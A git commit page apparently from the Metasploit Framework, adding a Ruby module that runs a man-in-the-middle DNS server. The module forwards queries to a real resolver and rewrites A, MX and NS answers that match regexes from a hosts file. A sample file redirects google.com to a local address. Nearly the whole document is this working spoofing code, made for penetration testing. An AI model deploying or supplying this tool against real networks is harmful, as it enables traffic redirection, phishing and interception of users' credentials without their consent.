Adding YGN's dns_mitm module

See #4711.

This is part of an effort to move modules from Redmine and drop
them into GitHub for easier tracking and collaboration.
unstable
Tod Beardsley 2011-12-16 22:05:29 -06:00
parent d2b7c83d7d
commit 992ab6ba38
2 changed files with 186 additions and 0 deletions

View File

@ -0,0 +1,185 @@
##
# $Id: fakedns.rb 5540 2008-06-25 23:04:19Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'resolv'
#module Msf
#class Auxiliary::Server::MITM_FakeDNS < Msf::Auxiliary
class Metasploit3 < Msf::Auxiliary
include Auxiliary::Report
def initialize
super(
'Name' => 'MITM DNS Service',
'Version' => '$Revision: 5541 $',
'Description' => %q{
This hack of the metasploit fakedns.rb serves as a sort
of MITM DNS server. Requests are passed through to a real
DNS server, and the responses are modified before being
returned to the client, if they match regular expressions
set in FILENAME.
To force a reload of the hosts file do an A record look up on
the domain set in RELOAD.
},
'Author' => ['ddz', 'hdm', 'Wesley McGrew <wesley@mcgrewsecurity.com>', 'Robin Wood <dninja@gmail.com>'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
)
register_options(
[
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]),
# W: Added in an option for a set of filters, took out the catchall TARGETHOST
OptAddress.new('REALDNS', [true,"Ask this server for answers",nil]),
OptString.new('FILENAME', [true,"File of ip,regex for filtering responses",nil]),
OptString.new('RELOAD', [true,"A record to request reload of hosts file",'digininja.reload'])
], self.class)
end
def load_host_file
print_status "Loading hosts file"
begin
fp = File.new(datastore['FILENAME'])
rescue
print_status "Could not open #{datastore['FILENAME']} for reading. Quitting."
return
end
mod_entries = []
while !fp.eof?
line = fp.gets().chomp()
entry = line.split(' ')
if entry.length == 2
mod_entries.push([entry[0].strip,Regexp.new(entry[1].strip)])
else
print_status "Invalid entry in host file: #{line}. Ignoring"
end
end
return mod_entries
end
def run
mod_entries = load_host_file
@port = datastore['SRVPORT'].to_i
# MacOS X workaround
::Socket.do_not_reverse_lookup = true
@sock = ::UDPSocket.new()
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind(datastore['SRVHOST'], @port)
@run = true
Thread.new {
# Wrap in exception handler
begin
while @run
packet, addr = @sock.recvfrom(65535)
if (packet.length == 0)
break
end
request = Resolv::DNS::Message.decode(packet)
# W: Go ahead and send it to the real DNS server and
#get the response
sock2 = ::UDPSocket.new()
sock2.send(packet, 0, datastore['REALDNS'], 53) #datastore['REALDNS'], 53)
packet2, addr2 = sock2.recvfrom(65535)
sock2.close()
real_response = Resolv::DNS::Message.decode(packet2)
fake_response = Resolv::DNS::Message.new()
fake_response.qr = 1 # Recursion desired
fake_response.ra = 1 # Recursion available
fake_response.id = real_response.id
real_response.each_question { |name, typeclass|
if name.to_s == datastore['RELOAD']
mod_entries = load_host_file
end
fake_response.add_question(name, typeclass)
}
real_response.each_answer { |name, ttl, data|
replaced = false
mod_entries.each { |e|
if name.to_s =~ e[1]
case data.to_s
when /IN::A/
data = Resolv::DNS::Resource::IN::A.new(e[0])
replaced = true
when /IN::MX/
data = Resolv::DNS::Resource::IN::MX.new(10,Resolv::DNS::Name.create(e[0]))
replaced = true
when /IN::NS/
data = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(e[0]))
replaced = true
when /IN::PTR/
# Do nothing
replaced = true
else
# Do nothing
replaced = true
end
end
break if replaced
}
fake_response.add_answer(name,ttl,data)
}
real_response.each_authority { |name, ttl, data|
mod_entries.each { |e|
if name.to_s =~ e[1]
data = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(e[0]))
break
end
}
fake_response.add_authority(name,ttl,data)
}
response_packet = fake_response.encode()
@sock.send(response_packet, 0, addr[3], addr[1])
end
# Make sure the socket gets closed on exit
rescue ::Exception => e
print_error("fakedns: #{e.class} #{e} #{e.backtrace}")
ensure
@sock.close
end
}
end
end

View File

@ -0,0 +1 @@
192.168.0.2 google.com